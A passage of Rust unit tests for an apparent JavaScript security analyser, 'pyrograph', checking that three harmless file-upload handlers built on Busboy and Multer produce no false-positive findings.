fn fp_jules_b_048() {
let js = r#"
const Busboy = require('busboy');
function handleUpload(req, res) {
const bb = new Busboy({ headers: req.headers, limits: { fileSize: 1024 * 1024 } });
bb.on('file', (name, file) => {
file.on('limit', () => console.log('Limit reached'));
file.resume();
});
req.pipe(bb);
}
"#;
let graph = pyrograph::parse::parse_js(js, "fp_jules_b_048.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: file upload handler");
}
#[test]
fn fp_jules_b_049() {
let js = r#"
const express = require('express');
const multer = require('multer');
const upload = multer({ dest: 'uploads/' });
const app = express();
app.post('/photos', upload.array('photos', 12), function (req, res) { res.send('OK'); });
"#;
let graph = pyrograph::parse::parse_js(js, "fp_jules_b_049.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: file upload handler");
}
#[test]
fn fp_jules_b_050() {
let js = r#"
const Busboy = require('busboy');
function uploadToS3(req, res) {
const bb = new Busboy({ headers: req.headers });
bb.on('file', (name, file, info) => {
// S3.upload({ Body: file }) ...
file.resume();
});
bb.on('finish', () => res.end());
req.pipe(bb);
}
"#;
let graph = pyrograph::parse::parse_js(js, "fp_jules_b_050.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: file upload handler");
}